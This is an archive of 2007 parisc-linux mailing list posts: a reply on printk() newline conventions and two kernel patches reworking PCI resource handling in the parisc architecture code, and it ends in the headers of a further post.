Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624644 28508 80.91.229.3 (22 Nov 2014 02:50:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:44 +0000 (UTC)
Cc: linux-ide@vger.kernel.org,
 discuss@x86-64.org,
 linux-scsi@vger.kernel.org,
 Mike Frysinger <vapier.adi@gmail.com>,
 linux-acpi@vger.kernel.org,
 netdev@vger.kernel.org,
 linux-kernel@vger.kernel.org,
 uclinux-dist-devel@blackfin.uclinux.org,
 cluster-devel@redhat.com,
 blinux-list@redhat.com,
 tpmdd-devel@lists.sourceforge.net,
 linux-mips@linux-mips.org,
 jffs-dev@axis.com,
 mpt_linux_developer@lsi.com,
 Joe Perches <joe@perches.com>,
 linux-mtd@lists.infradead.org,
 osst-users@lists.sourceforge.net,
 linux-mm@kvack.org,
 parisc-linux@parisc-linux.org
To: Geert Uytterhoeven <geert@linux-m68k.org>
Original-X-From: - Wed Jul 02 21:28:29 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Oct 2007 16:31:44 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx017) with SMTP; 18 Oct 2007 18:31:44 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 602707E553;
	Thu, 18 Oct 2007 10:31:41 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id cyVyjB0uXdI3; Thu, 18 Oct 2007 10:31:41 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2E1057E70A;
	Thu, 18 Oct 2007 10:07:00 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B47EA7DB62
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 29 Aug 2007 05:33:59 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id gnxwgQzS74BO for <parisc-linux@lists.parisc-linux.org>;
	Wed, 29 Aug 2007 05:33:45 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id CE4AF7DB0C
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 29 Aug 2007 05:33:45 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 83A91494007; Wed, 29 Aug 2007 05:33:45 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
X-Greylist: delayed 649 seconds by postgrey-1.27 at palinux;
	Wed, 29 Aug 2007 05:33:45 MDT
Original-Received: from cerber.ds.pg.gda.pl (cerber.ds.pg.gda.pl [153.19.208.18])
	by mail.parisc-linux.org (Postfix) with ESMTP id 1E25F494006
	for <parisc-linux@parisc-linux.org>;
	Wed, 29 Aug 2007 05:33:44 -0600 (MDT)
Original-Received: from localhost (unknown [127.0.0.17])
	by cerber.ds.pg.gda.pl (Postfix) with ESMTP id 5E66F400C7;
	Wed, 29 Aug 2007 13:22:54 +0200 (CEST)
X-Virus-Scanned: amavisd-new at cerber.ds.pg.gda.pl
Original-Received: from cerber.ds.pg.gda.pl ([153.19.208.18])
	by localhost (cerber.ds.pg.gda.pl [153.19.208.18]) (amavisd-new,
	port 10024)
	with ESMTP id 0+OB58oY4Wt7; Wed, 29 Aug 2007 13:22:46 +0200 (CEST)
Original-Received: from piorun.ds.pg.gda.pl (piorun.ds.pg.gda.pl [153.19.208.8])
	by cerber.ds.pg.gda.pl (Postfix) with ESMTP id 6D5AF400C4;
	Wed, 29 Aug 2007 13:22:46 +0200 (CEST)
Original-Received: from blysk.ds.pg.gda.pl (macro@blysk.ds.pg.gda.pl [153.19.208.6])
	by piorun.ds.pg.gda.pl (8.13.8/8.13.8) with ESMTP id l7TBMi49024042;
	Wed, 29 Aug 2007 13:22:44 +0200
In-Reply-To: <Pine.LNX.4.64.0708261305020.31149@anakin>
X-Virus-Scanned: ClamAV 0.91.2/4100/Wed Aug 29 10:32:07 2007 on
	piorun.ds.pg.gda.pl
X-Virus-Status: Clean
X-Mailman-Approved-At: Tue, 16 Oct 2007 10:41:10 -0600
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: R78lfxgePjlsOOrBOTU2twYzMTE2Ncl/
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25451

On Sun, 26 Aug 2007, Geert Uytterhoeven wrote:

> What I mean is that probably there used to be a printk() call starting with
> `\n'. Then someone added a `KERN_ERR' in front of it.

 I gather '\n' at the beginning is to assure the following line is output 
on a separate line rather than as a continuation of another one which may 
have been output without a trailing '\n'.  A situation where printk() is 
called with a string containing no trailing '\n' may be discouraged, but 
there are some more or less justified exceptions.  For example the SCSI 
disk spin-up code is one.

 Therefore it may be reasonable for more critical messages -- perhaps not 
ones at KERN_ERR, but certainly KERN_CRIT and higher ones -- that may 
potentially happen asynchronously to start with '\n'.  In this case a call 
would look like this:

	printk("\n" KERN_CRIT "The actual message.\n");

Of course based on "console_loglevel" and "default_message_level" the 
leading '\n' may still get swallowed from what gets printed to the console 
terminal, but in reality I do not think that poses a problem, as these 
both can be set by a system administrator according to the local policy.

  Maciej
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:37:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Fix /proc/iomem
Date: Sun, 14 Oct 2007 08:48:27 -0600
Lines: 153
Approved: news@gmane.org
Message-ID: <20071014144826.GF29934__2018.07328635386$1416624644$gmane$org@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624644 28510 80.91.229.3 (22 Nov 2014 02:50:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:44 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:28:29 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Oct 2007 16:37:31 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx101) with SMTP; 18 Oct 2007 18:37:31 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 92DE87E9CF;
	Thu, 18 Oct 2007 10:37:28 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id DkCJuyxq0mIs; Thu, 18 Oct 2007 10:37:28 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 34DEE7E61F;
	Thu, 18 Oct 2007 10:36:52 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1C5277E825
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 14 Oct 2007 08:48:42 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id TWZD26NUZH-d for <parisc-linux@lists.parisc-linux.org>;
	Sun, 14 Oct 2007 08:48:27 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id D00867E80E
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 14 Oct 2007 08:48:27 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 8F256494006; Sun, 14 Oct 2007 08:48:27 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id 705A1494003; Sun, 14 Oct 2007 08:48:27 -0600 (MDT)
Content-Disposition: inline
User-Agent: Mutt/1.5.13 (2006-08-11)
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: +70kc05lTXs8bKyRbmQ5InRKRzdyMkMk
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25452


commit 5d04e33a34814d0cc3029f4b1ba0e62829cb4610
Author: Matthew Wilcox <matthew@wil.cx>
Date:   Sun Oct 14 10:13:31 2007 -0400

    parisc: Fix infinite loop in /proc/iomem
    
    pcibios_link_hba_resources() could corrupt the resource tree by inserting
    resources in the wrong place.  Fix this by calling pci_claim_resource()
    for PCI-PCI bridges.  Delete pcibios_link_hba_resources as we shouldn't
    need it any more.  Also get rid of lba_claim_dev_resources() and just
    call pci_claim_resource() directly.
    
    Signed-off-by: Matthew Wilcox <willy@linux.intel.com>

diff --git a/arch/parisc/kernel/pci.c b/arch/parisc/kernel/pci.c
index 563df00..8263d49 100644
--- a/arch/parisc/kernel/pci.c
+++ b/arch/parisc/kernel/pci.c
@@ -194,31 +194,6 @@ void __init pcibios_init_bus(struct pci_bus *bus)
 	pci_write_config_word(dev, PCI_BRIDGE_CONTROL, bridge_ctl);
 }
 
-
-/* KLUGE: Link the child and parent resources - generic PCI didn't */
-static void
-pcibios_link_hba_resources( struct resource *hba_res, struct resource *r)
-{
-	if (!r->parent) {
-		printk(KERN_EMERG "PCI: resource not parented! [%p-%p]\n",
-				(void*) r->start, (void*) r->end);
-		r->parent = hba_res;
-
-		/* reverse link is harder *sigh*  */
-		if (r->parent->child) {
-			if (r->parent->sibling) {
-				struct resource *next = r->parent->sibling;
-				while (next->sibling)
-					 next = next->sibling;
-				next->sibling = r;
-			} else {
-				r->parent->sibling = r;
-			}
-		} else
-			r->parent->child = r;
-	}
-}
-
 /* called by drivers/pci/setup-bus.c:pci_setup_bridge().  */
 void __devinit pcibios_resource_to_bus(struct pci_dev *dev,
 		struct pci_bus_region *region, struct resource *res)
@@ -245,13 +220,6 @@ void __devinit pcibios_resource_to_bus(struct pci_dev *dev,
 	DBG_RES("pcibios_resource_to_bus(%02x %s [%lx,%lx])\n",
 		bus->number, res->flags & IORESOURCE_IO ? "IO" : "MEM",
 		region->start, region->end);
-
-	/* KLUGE ALERT
-	** if this resource isn't linked to a "parent", then it seems
-	** to be a child of the HBA - lets link it in.
-	*/
-	pcibios_link_hba_resources(&hba->io_space, bus->resource[0]);
-	pcibios_link_hba_resources(&hba->lmmio_space, bus->resource[1]);
 }
 
 void pcibios_bus_to_resource(struct pci_dev *dev, struct resource *res,
diff --git a/drivers/parisc/lba_pci.c b/drivers/parisc/lba_pci.c
index 5b86ee5..5eace9e 100644
--- a/drivers/parisc/lba_pci.c
+++ b/drivers/parisc/lba_pci.c
@@ -557,44 +557,6 @@ lba_bios_init(void)
 #ifdef CONFIG_64BIT
 
 /*
-** Determine if a device is already configured.
-** If so, reserve it resources.
-**
-** Read PCI cfg command register and see if I/O or MMIO is enabled.
-** PAT has to enable the devices it's using.
-**
-** Note: resources are fixed up before we try to claim them.
-*/
-static void
-lba_claim_dev_resources(struct pci_dev *dev)
-{
-	u16 cmd;
-	int i, srch_flags;
-
-	(void) pci_read_config_word(dev, PCI_COMMAND, &cmd);
-
-	srch_flags  = (cmd & PCI_COMMAND_IO) ? IORESOURCE_IO : 0;
-	if (cmd & PCI_COMMAND_MEMORY)
-		srch_flags |= IORESOURCE_MEM;
-
-	if (!srch_flags)
-		return;
-
-	for (i = 0; i <= PCI_ROM_RESOURCE; i++) {
-		if (dev->resource[i].flags & srch_flags) {
-			pci_claim_resource(dev, i);
-			DBG("   claimed %s %d [%lx,%lx]/%lx\n",
-				pci_name(dev), i,
-				dev->resource[i].start,
-				dev->resource[i].end,
-				dev->resource[i].flags
-				);
-		}
-	}
-}
-
-
-/*
  * truncate_pat_collision:  Deal with overlaps or outright collisions
  *			between PAT PDC reported ranges.
  *
@@ -653,7 +615,6 @@ truncate_pat_collision(struct resource *root, struct resource *new)
 }
 
 #else
-#define lba_claim_dev_resources(dev) do { } while (0)
 #define truncate_pat_collision(r,n)  (0)
 #endif
 
@@ -684,8 +645,12 @@ lba_fixup_bus(struct pci_bus *bus)
 	** pci_alloc_primary_bus() mangles this.
 	*/
 	if (bus->self) {
+		int i;
 		/* PCI-PCI Bridge */
 		pci_read_bridge_bases(bus);
+		for (i = PCI_BRIDGE_RESOURCES; i < PCI_NUM_RESOURCES; i++) {
+			pci_claim_resource(bus->self, i);
+		}
 	} else {
 		/* Host-PCI Bridge */
 		int err, i;
@@ -803,6 +768,9 @@ lba_fixup_bus(struct pci_bus *bus)
 				DBG("lba_fixup_bus() WTF? 0x%lx [%lx/%lx] XXX",
 					res->flags, res->start, res->end);
 			}
+			if ((i != PCI_ROM_RESOURCE) ||
+			    (res->flags & IORESOURCE_ROM_ENABLE))
+				pci_claim_resource(dev, i);
 		}
 
 #ifdef FBB_SUPPORT
@@ -814,11 +782,6 @@ lba_fixup_bus(struct pci_bus *bus)
 		bus->bridge_ctl &= ~(status & PCI_STATUS_FAST_BACK);
 #endif
 
-		if (is_pdc_pat()) {
-			/* Claim resources for PDC's devices */
-			lba_claim_dev_resources(dev);
-		}

From - Thu Nov 08 21:37:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Fix pcibios_bus_to_resource etc
Date: Sun, 14 Oct 2007 10:28:55 -0600
Lines: 206
Approved: news@gmane.org
Message-ID: <20071014162855.GG29934__38120.0092532255$1416624645$gmane$org@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624645 28512 80.91.229.3 (22 Nov 2014 02:50:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:45 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:28:29 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Oct 2007 16:37:44 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx092) with SMTP; 18 Oct 2007 18:37:44 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 41CCF7E9D7;
	Thu, 18 Oct 2007 10:37:40 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 0MDv9X3RjWrK; Thu, 18 Oct 2007 10:37:39 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 70B827E6AA;
	Thu, 18 Oct 2007 10:36:52 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8DFBB7E7F9
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 14 Oct 2007 10:29:10 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id UnH5AwuAvE65 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 14 Oct 2007 10:28:56 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 558CC7E7F5
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 14 Oct 2007 10:28:56 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 29804494006; Sun, 14 Oct 2007 10:28:56 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id 0A6A9494003; Sun, 14 Oct 2007 10:28:55 -0600 (MDT)
Content-Disposition: inline
User-Agent: Mutt/1.5.13 (2006-08-11)
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: t+Z1E2kNbXBsfrqHPTQ2rXcqLyUmZQi9
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25453


I don't quite have time to finish this off before I get on a plane, but
it mostly works, so maybe somebody else can finish it off for me.

Basically, I fix pcibios_bus_to_resource for the ioport case and then
use it in lba_fixup_bus.  It should probably be used by Dino too.

Also unconditionally export both pcibios_bus_to_resource and
pcibios_resource_to_bus.  It's a public API, and should always be
available.

I also convert PCI_BUS_ADDR to pcibios_bus_addr to avoid the icky
ifdefs to avoid warnings.

The only problem is that a few resources end up with the wrong parent on
64-bit due to lack of f-extension:

f0100000-f01fffff : PCI Bus #04
  f0100000-f01fffff : PCI Bus #02
  f4900000-f49fffff : PCI Bus #02
  f6000000-f60fffff : PCI Bus #04

These PCI busses are the ones behind PCI-PCI bridges; eg

fffffffff6000000-fffffffff67fffff : PCI03 LMMIO                                 
  fffffffff6000000-fffffffff6001fff : 0000:04:04.1                              

Shouldn't be hard to fix, I'm just out of time.

diff --git a/arch/parisc/kernel/pci.c b/arch/parisc/kernel/pci.c
index 8263d49..a7eab22 100644
--- a/arch/parisc/kernel/pci.c
+++ b/arch/parisc/kernel/pci.c
@@ -194,57 +194,51 @@ void __init pcibios_init_bus(struct pci_bus *bus)
 	pci_write_config_word(dev, PCI_BRIDGE_CONTROL, bridge_ctl);
 }
 
-/* called by drivers/pci/setup-bus.c:pci_setup_bridge().  */
-void __devinit pcibios_resource_to_bus(struct pci_dev *dev,
+/*
+ * Convert from global view of resources to bus-local view.  For port
+ * addresses, this means masking off the upper bits.  For mmio addresses,
+ * it can be more complex -- see include/asm/pci.h
+ */
+void pcibios_resource_to_bus(struct pci_dev *dev,
 		struct pci_bus_region *region, struct resource *res)
 {
-	struct pci_bus *bus = dev->bus;
-	struct pci_hba_data *hba = HBA_DATA(bus->bridge->platform_data);
-
 	if (res->flags & IORESOURCE_IO) {
-		/*
-		** I/O space may see busnumbers here. Something
-		** in the form of 0xbbxxxx where bb is the bus num
-		** and xxxx is the I/O port space address.
-		** Remaining address translation are done in the
-		** PCI Host adapter specific code - ie dino_out8.
-		*/
 		region->start = PCI_PORT_ADDR(res->start);
-		region->end   = PCI_PORT_ADDR(res->end);
+		region->end = PCI_PORT_ADDR(res->end);
 	} else if (res->flags & IORESOURCE_MEM) {
-		/* Convert MMIO addr to PCI addr (undo global virtualization) */
-		region->start = PCI_BUS_ADDR(hba, res->start);
-		region->end   = PCI_BUS_ADDR(hba, res->end);
+		struct pci_hba_data *hba =
+			HBA_DATA(dev->bus->bridge->platform_data);
+
+		region->start = pcibios_bus_addr(hba, res->start);
+		region->end = pcibios_bus_addr(hba, res->end);
 	}
 
 	DBG_RES("pcibios_resource_to_bus(%02x %s [%lx,%lx])\n",
-		bus->number, res->flags & IORESOURCE_IO ? "IO" : "MEM",
+		dev->bus->number, res->flags & IORESOURCE_IO ? "IO" : "MEM",
 		region->start, region->end);
 }
+EXPORT_SYMBOL(pcibios_resource_to_bus);
 
+/*
+ * Convert from bus-local view of resources to global view.  For port
+ * addresses, this means adding a bus number in bits 24-17.  For mmio
+ * addresses, it can be more complex -- see include/asm/pci.h
+ */
 void pcibios_bus_to_resource(struct pci_dev *dev, struct resource *res,
 			      struct pci_bus_region *region)
 {
-#ifdef CONFIG_64BIT
-	struct pci_bus *bus = dev->bus;
-	struct pci_hba_data *hba = HBA_DATA(bus->bridge->platform_data);
-#endif
+	struct pci_hba_data *hba = HBA_DATA(dev->bus->bridge->platform_data);
 
-	if (res->flags & IORESOURCE_MEM) {
+	if (res->flags & IORESOURCE_IO) {
+		int portbase = HBA_PORT_BASE(hba->hba_num);
+		res->start = portbase | region->start;
+		res->end = portbase | region->end;
+	} else if (res->flags & IORESOURCE_MEM) {
 		res->start = PCI_HOST_ADDR(hba, region->start);
 		res->end = PCI_HOST_ADDR(hba, region->end);
 	}
-
-	if (res->flags & IORESOURCE_IO) {
-		res->start = region->start;
-		res->end = region->end;
-	}
 }
-
-#ifdef CONFIG_HOTPLUG
-EXPORT_SYMBOL(pcibios_resource_to_bus);
 EXPORT_SYMBOL(pcibios_bus_to_resource);
-#endif
 
 /*
  * pcibios align resources() is called every time generic PCI code
diff --git a/drivers/parisc/lba_pci.c b/drivers/parisc/lba_pci.c
index 5eace9e..d0128b9 100644
--- a/drivers/parisc/lba_pci.c
+++ b/drivers/parisc/lba_pci.c
@@ -743,31 +743,16 @@ lba_fixup_bus(struct pci_bus *bus)
 		/* Virtualize Device/Bridge Resources. */
 		for (i = 0; i < PCI_BRIDGE_RESOURCES; i++) {
 			struct resource *res = &dev->resource[i];
+			struct pci_bus_region region;
 
 			/* If resource not allocated - skip it */
-			if (!res->start)
+			if (!res->flags)
 				continue;
 
-			if (res->flags & IORESOURCE_IO) {
-				DBG("lba_fixup_bus() I/O Ports [%lx/%lx] -> ",
-					res->start, res->end);
-				res->start |= lba_portbase;
-				res->end   |= lba_portbase;
-				DBG("[%lx/%lx]\n", res->start, res->end);
-			} else if (res->flags & IORESOURCE_MEM) {
-				/*
-				** Convert PCI (IO_VIEW) addresses to
-				** processor (PA_VIEW) addresses
-				 */
-				DBG("lba_fixup_bus() MMIO [%lx/%lx] -> ",
-					res->start, res->end);
-				res->start = PCI_HOST_ADDR(HBA_DATA(ldev), res->start);
-				res->end   = PCI_HOST_ADDR(HBA_DATA(ldev), res->end);
-				DBG("[%lx/%lx]\n", res->start, res->end);
-			} else {
-				DBG("lba_fixup_bus() WTF? 0x%lx [%lx/%lx] XXX",
-					res->flags, res->start, res->end);
-			}
+			region.start = res->start;
+			region.end = res->end;
+			pcibios_bus_to_resource(dev, res, &region);
+
 			if ((i != PCI_ROM_RESOURCE) ||
 			    (res->flags & IORESOURCE_ROM_ENABLE))
 				pci_claim_resource(dev, i);
diff --git a/include/asm-parisc/pci.h b/include/asm-parisc/pci.h
index 61fbd57..7b5da00 100644
--- a/include/asm-parisc/pci.h
+++ b/include/asm-parisc/pci.h
@@ -100,16 +100,27 @@ static __inline__  int pci_is_lmmio(struct pci_hba_data *hba, unsigned long a)
 **	(1) PA_VIEW - IO_VIEW = lmmio_offset for both LMMIO and ELMMIO
 **	(2) PA_VIEW == IO_VIEW for GMMIO
 */
-#define PCI_BUS_ADDR(hba,a)	(PCI_IS_LMMIO(hba,a)	\
-		?  ((a) - hba->lmmio_space_offset)	/* mangle LMMIO */ \
-		: (a))					/* GMMIO */
+
+static inline unsigned long pcibios_bus_addr(struct pci_hba_data *hba,
+							unsigned long addr)
+{
+	if (PCI_IS_LMMIO(hba, addr))
+		return addr - hba->lmmio_space_offset;
+	return addr;
+}
+
 #define PCI_HOST_ADDR(hba,a)	(((a) & PCI_F_EXTEND) == 0 \
 		? (a) + hba->lmmio_space_offset \
 		: (a))
 
 #else	/* !CONFIG_64BIT */
 
-#define PCI_BUS_ADDR(hba,a)	(a)
+static inline unsigned long pcibios_bus_addr(struct pci_hba_data *hba,
+							unsigned long addr)
+{
+	return addr;
+}
+
 #define PCI_HOST_ADDR(hba,a)	(a)
 #define PCI_F_EXTEND		0UL
 #define PCI_IS_LMMIO(hba,a)	(1)	/* 32-bit doesn't support GMMIO */

-- 
Intel are signing my paycheques ... these opinions are still mine
"Bill, look, we understand that you're interested in selling us this
operating system, but compare it to ours.  We can't possibly take such
a retrograde step."
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:37:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [patch 1/2] whitescape cleanup in ccio-dma.c
Date: Tue, 16 Oct 2007 16:33:44 +0000
Lines: 483
Approved: news@gmane.org
Message-ID: <4714E7E8.301__38228.2019513243$1416624645$gmane$org@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="------------090708090909020603090108"
X-Trace: ger.gmane.org 1416624645 28518 80.91.229.3 (22 Nov 2014 02:50:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:45 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:28:29 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
